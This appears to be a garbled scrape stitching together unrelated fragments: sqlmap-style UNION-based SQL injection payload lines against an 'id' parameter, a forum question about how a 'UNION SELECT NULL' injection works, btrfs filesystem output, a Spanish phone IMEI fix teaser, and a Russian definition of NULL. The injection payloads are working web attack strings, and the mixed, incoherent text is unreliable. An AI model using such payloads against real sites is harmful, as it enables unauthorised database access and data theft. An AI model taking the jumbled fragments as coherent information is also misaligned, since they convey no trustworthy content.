...UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7171
UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b726a71,0x6d4355476f6377717943,0x7163716d71),NULL,NULL,NULL,NULL#.
Type: UNION query Title: Generic UNION query (NULL) - 18 columns Payload: id=999999.9 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a787171...
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Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
As a result, they just used `NULL values to populate those columns. the real confusion is in the CONCAT(). They are combining 126, 39, database name as hex
Label: (null) UUID: 43b52eba-d9c6-4aa0-a4af-026d720bd2d9 Node size: 16384 Sector size: 4096 Filesystem size: 8.00GiB Block group profiles: Data: single 8.00MiB Metadata: single 8.00MiB System: single
Aquí les dejo la solución a este problema que suele surgir tras la instalación de una rom cocinada o modificada y nos quedamos sin cobertura o sin IMEI. ____
NULL в Системах управления базами данных (СУБД) — специальное значение (псевдозначение), которое может быть записано в поле таблицы базы данных (БД). NULL соответствует понятию «пустое поле», то есть «поле, не содержащее никакого значения».